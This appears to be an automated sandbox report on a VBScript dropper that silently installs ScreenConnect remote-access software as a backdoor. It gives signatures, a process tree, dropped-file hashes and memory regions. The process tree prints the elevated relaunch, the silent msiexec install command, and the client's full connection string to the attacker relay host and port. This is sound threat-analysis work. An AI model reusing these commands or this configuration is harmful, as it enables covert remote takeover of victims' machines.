Analysis

  • max time kernel
    39s
  • max time network
    39s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/09/2026, 22:31

General

  • Target
    572fa3dd2128f37601cf91eb9a8a275d93ec207cbec6fe4a998146989797b8ab.vbs
  • Size 12.9MB
  • Sample260905-2ff4kagc35
  • SHA256 572fa3dd2128f37601cf91eb9a8a275d93ec207cbec6fe4a998146989797b8ab
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\572fa3dd2128f37601cf91eb9a8a275d93ec207cbec6fe4a998146989797b8ab.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:3272
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\572fa3dd2128f37601cf91eb9a8a275d93ec207cbec6fe4a998146989797b8ab.vbs" /elevated
      2⤵
      • Badlisted process makes network request
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:4828
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Windows\Temp\ScreenConnect.ClientSetup.msi" /qn /norestart REBOOT=ReallySuppress /L*v "C:\Windows\Temp\sc_install.log"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:816
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4512
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 48B686691DC4E29E8AA7AC0B54695A2B
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:828
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI1C68.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240721343 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4232
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 52F75396B6769AF6891E23685FEDE739 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4468
  • C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=clevercarves.com&p=8041&s=0e559e2b-542b-42b5-b559-3ac638587ba2&k=BgIAAACkAABSU0ExAAgAAAEAAQC9b50ZSdCR3iM%2bhrozUoJ9pNRDVQX0tZCBTs1urW5QQmnwgYoGamE7FSRS475Xms394YswQlbwyNZYQhp63JyYtb8WH%2f1d%2fHy%2by1ZFInaShI5hPv7%2fUU%2biLfyISK40INmdOK8bX2PbLh5jZz7QdaCGzBuTNuC2ucJJ6ImSxLhYiEOCpGUc%2fNPx%2fRuyg2SGMK58EZaQc1iWDs1m0SSEON15%2bjT0umKGFRWGWoBh0oam1XBXhzq8Uk9R4EHrIGokvngIS%2b3YAl6FJOW%2fkSgFaSG2N9C3YkOYdQCaNSeWPdsOlDyd83lIJlk6Sereu%2bgjK2n5qp4Cfsny%2bQfMKHgeN9S%2b"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1584
    • C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\ScreenConnect.WindowsClient.exe" "RunRole" "8798ba90-6fa4-4dd0-8ab1-ac1f71762e36" "User"
      2⤵
      • Executes dropped EXE
      PID:5620
    • C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\ScreenConnect.WindowsClient.exe" "RunRole" "4b05c893-781b-4b0c-8393-0c39155d2edd" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:4748

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        e59191f.rbs

        • Path C:\Config.Msi\e59191f.rbs
        • Size 214KB
        • SHA256 41df801b731299993450eb869b575fe391cc33251b63c89603b3ee1b0e102b4e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\Client.Override.en-US.resources
        • Size 368B
        • SHA256 b3f0ca4ad4a60a92763f1fdb0dfc7a9371c499b702db48588d415d92b9c3625b
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\Client.Override.resources
        • Size 54KB
        • SHA256 fff90d5860f3d27239141e787e47a6dc85a04df81622421d91e66f75e7d04762
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\Client.en-US.resources
        • Size 47KB
        • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\Client.resources
        • Size 26KB
        • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\app.config
        • Size 2KB
        • SHA256 ae5fc34ccd25c235997ed61a6a7b00440f171baee6fb0d638073744858d8ea2e
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (4110266cb7b015f8)\system.config
        • Size 950B
        • SHA256 bdd1ffce897b028fea894a518332f4a7125cd265773d00419c46326b15e139f3
        • MD5 SHA1 SHA512 TLSH

        MSI1C68.tmp

        • Path C:\Windows\Installer\MSI1C68.tmp
        • Size 1.0MB
        • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI1C68.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI1C68.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI1C68.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI1C68.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI242A.tmp

        • Path C:\Windows\Installer\MSI242A.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientSetup.msi

        • Path C:\Windows\Temp\ScreenConnect.ClientSetup.msi
        • Size 13.0MB
        • SHA256 a9245089ebafab3b36b3dfba7de6030ec1145488bfd1f79baa5b497d4b6423f2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sc_install.log

        • Path C:\Windows\Temp\sc_install.log
        • Size 1KB
        • SHA256 d533e006a89fd18990057fdd512b1e6027374c4a40d901b9e7f2f98d487cabf7
        • MD5 SHA1 SHA512 TLSH

        memory/1584-111-0x0000000004EA0000-0x0000000004F32000-memory.dmp

        memory/1584-115-0x0000000005090000-0x0000000005165000-memory.dmp

        memory/1584-113-0x0000000004D20000-0x0000000004D61000-memory.dmp

        memory/1584-107-0x0000000004DC0000-0x0000000004DF6000-memory.dmp

        memory/1584-103-0x0000000004D70000-0x0000000004DC0000-memory.dmp

        memory/1584-82-0x0000000002100000-0x0000000002118000-memory.dmp

        memory/4232-34-0x0000000003330000-0x000000000333A000-memory.dmp

        memory/4232-42-0x0000000005670000-0x000000000581C000-memory.dmp

        memory/4232-38-0x0000000005430000-0x00000000054BE000-memory.dmp

        memory/4232-43-0x0000000005DE0000-0x000000000639A000-memory.dmp

        memory/4232-30-0x0000000003300000-0x000000000332E000-memory.dmp

        memory/4512-138-0x00000190A6A70000-0x00000190A7414000-memory.dmp

        memory/5620-130-0x00000000009C0000-0x0000000000A58000-memory.dmp

        memory/5620-131-0x0000000002EF0000-0x0000000002F26000-memory.dmp

        memory/5620-133-0x000000001BC90000-0x000000001BE3C000-memory.dmp

        memory/5620-132-0x000000001BA50000-0x000000001BADE000-memory.dmp

        memory/5620-134-0x000000001BFD0000-0x000000001C158000-memory.dmp

        memory/5620-135-0x0000000002D90000-0x0000000002DA8000-memory.dmp

        memory/5620-136-0x0000000002F30000-0x0000000002F48000-memory.dmp